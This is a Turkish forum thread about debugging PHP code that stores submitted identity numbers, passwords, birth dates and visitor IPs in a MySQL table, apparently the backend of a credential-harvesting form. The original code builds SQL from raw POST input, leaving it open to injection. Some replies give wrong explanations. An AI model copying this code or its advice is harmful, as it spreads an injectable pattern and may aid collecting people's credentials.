Veritabanına girdiğim bilgiler eklenmiyor. - R10.net
  • 30-03-2020, 05:17:23
    #1
    <?php include 'baglan.php';
    
    
    
    function GetIP(){
    if(getenv("HTTP_CLIENT_IP")) {
    $ip = getenv("HTTP_CLIENT_IP");
    } elseif(getenv("HTTP_X_FORWARDED_FOR")) {
    $ip = getenv("HTTP_X_FORWARDED_FOR");
    if (strstr($ip, ',')) {
    $tmp = explode (',', $ip);
    $ip = trim($tmp[0]);
    }
    } else {
    $ip = getenv("REMOTE_ADDR");
    }
    return $ip;
    }
    $ipcik = GetIP();
    
    
    
    if (isset($_POST['yak'])) {
    $tc = $_POST['tach'];
    $yak = $_POST['sifrexa'];
    $yaxak = $_POST['dogum'];
    $ekle = mysqli_query("insert into ryzzen (tach, sifrexa, dogum, ip) values ( '$tc', '$yak', '$yaxak', '$ipcik')");
        if($ekle){
    echo "Başarılı Bir Şekilde Eklendi !";
    }else{
    echo "Bir Sorun Oluştu";
    }
    
    }
    Merhabalar, kodlar çalışmasına rağmen veri çekemiyorum, forma girdiğim veriler eklenmiyor veritabanına yardımcı olur musunuz?
  • 30-03-2020, 05:59:06
    #2
    PDO Kullanarak şöyle bişi yapabilirsin yada teamviewer yolla kontrol edelim.

    if (isset($_POST['yak'])){
    
    $tc = $_POST['tach'];
    $yak = $_POST['sifrexa'];
    $yaxak = $_POST['dogum'];
    
    $ekle = $db->prepare("INSERT INTO ryzzen SET tach=:t, sifrexa=:s, dogum=:d, ip=:i");
    $ekle->execute(array('t'=>$tc ,'s'=>$yak,'d'=>$yaxak,'i'=>$ipcik ));
    
    
    if($ekle)
    
    
    { echo "Başarılı Bir Şekilde Eklendi !"; }
    
    
    else{ echo 'başarısız' }
    
    }
    ISTANBULAJANS #BlueTeam umut@istanbulajans.net -> Hacklink Sorunumu Yaşıyorsun Uygun Fiyata Web Güvenliği Hizmeti
  • 30-03-2020, 06:18:27
    #3
    Merhaba
    Values kısmındaki değişkenleri tek tırnak içerisinde yolluyorsunuz, ki bu php tarafından işlenmez.

    "'$degisken'" olursa ya da sadece $degisken olursa, veriler boş gitmeyecektir.
    #HTML #JS #PHP#WordPress #Security vb. projeleriniz için PM. (Fayda vermeyen ilimden sana sığınırım.)
  • 30-03-2020, 07:10:28
    #4
    ibrhmolgn adlı üyeden alıntı
    <?php include 'baglan.php';
    
    
    
    function GetIP(){
    if(getenv("HTTP_CLIENT_IP")) {
    $ip = getenv("HTTP_CLIENT_IP");
    } elseif(getenv("HTTP_X_FORWARDED_FOR")) {
    $ip = getenv("HTTP_X_FORWARDED_FOR");
    if (strstr($ip, ',')) {
    $tmp = explode (',', $ip);
    $ip = trim($tmp[0]);
    }
    } else {
    $ip = getenv("REMOTE_ADDR");
    }
    return $ip;
    }
    $ipcik = GetIP();
    
    
    
    if (isset($_POST['yak'])) {
    $tc = $_POST['tach'];
    $yak = $_POST['sifrexa'];
    $yaxak = $_POST['dogum'];
    $ekle = mysqli_query("insert into ryzzen (tach, sifrexa, dogum, ip) values ( '$tc', '$yak', '$yaxak', '$ipcik')");
        if($ekle){
    echo "Başarılı Bir Şekilde Eklendi !";
    }else{
    echo "Bir Sorun Oluştu";
    }
    
    }
    Merhabalar, kodlar çalışmasına rağmen veri çekemiyorum, forma girdiğim veriler eklenmiyor veritabanına yardımcı olur musunuz?
    Hatayı hızlıca bulabilmeniz için önerim;

    Sorgunun çalıştığı yerde sorguyu olduğu gibi ekrana yazdırın;
    echo "insert into ryzzen (tach, sifrexa, dogum, ip) values ( '$tc', '$yak', '$yaxak', '$ipcik')" ;
    $ekle...

    Daha sonra çıkan sorguyu, phpMyAdmin veya HeidiSQL ile MySQL'de çalıştırın zaten hatayı size direk söyleyecek.
  • 30-03-2020, 19:14:34
    #5
    umutwtf adlı üyeden alıntı
    PDO Kullanarak şöyle bişi yapabilirsin yada teamviewer yolla kontrol edelim.

    if (isset($_POST['yak'])){
    
    $tc = $_POST['tach'];
    $yak = $_POST['sifrexa'];
    $yaxak = $_POST['dogum'];
    
    $ekle = $db->prepare("INSERT INTO ryzzen SET tach=:t, sifrexa=:s, dogum=:d, ip=:i");
    $ekle->execute(array('t'=>$tc ,'s'=>$yak,'d'=>$yaxak,'i'=>$ipcik ));
    
    
    if($ekle)
    
    
    { echo "Başarılı Bir Şekilde Eklendi !"; }
    
    
    else{ echo 'başarısız' }
    
    }
    Merhabalar hocam güzel yorumun için çok teşekkür ederim, yine bir veri akışı sağlayamadım. Özel mesaj yolu ile teamviewer gönderebilirim dilerseniz.



    Eagle05 adlı üyeden alıntı
    Merhaba
    Values kısmındaki değişkenleri tek tırnak içerisinde yolluyorsunuz, ki bu php tarafından işlenmez.

    "'$degisken'" olursa ya da sadece $degisken olursa, veriler boş gitmeyecektir.
    Parse error: syntax error, unexpected '$tc' (T_VARIABLE), expecting ')' in C:\xampp\htdocs\guvenlik.php on line 27
    Hatası alıyorum.
  • 04-04-2020, 15:03:50
    #6
    ibrhmolgn adlı üyeden alıntı
    Parse error: syntax error, unexpected '$tc' (T_VARIABLE), expecting ')' in C:\xampp\htdocs\guvenlik.php on line 27
    Hatası alıyorum.
    Arkadaş hatanızın sebebini açıklamış aslında. Değişkeni tırnak içinde gönderiyorsunuz. Henüz sorununuz çözülmediyse mesaj atarsanız, yardımcı olabilirim.

    Eagle05 adlı üyeden alıntı
    Merhaba
    Values kısmındaki değişkenleri tek tırnak içerisinde yolluyorsunuz, ki bu php tarafından işlenmez.

    "'$degisken'" olursa ya da sadece $degisken olursa, veriler boş gitmeyecektir.

  • 04-04-2020, 15:36:00
    #7
    Birde şu şekilde deneyin.
    $ekle = mysqli_query("insert into ryzzen (tach, sifrexa, dogum, ip) values ( '{$tc}', '{$yak}', '{$yaxak}', '{$ipcik}')");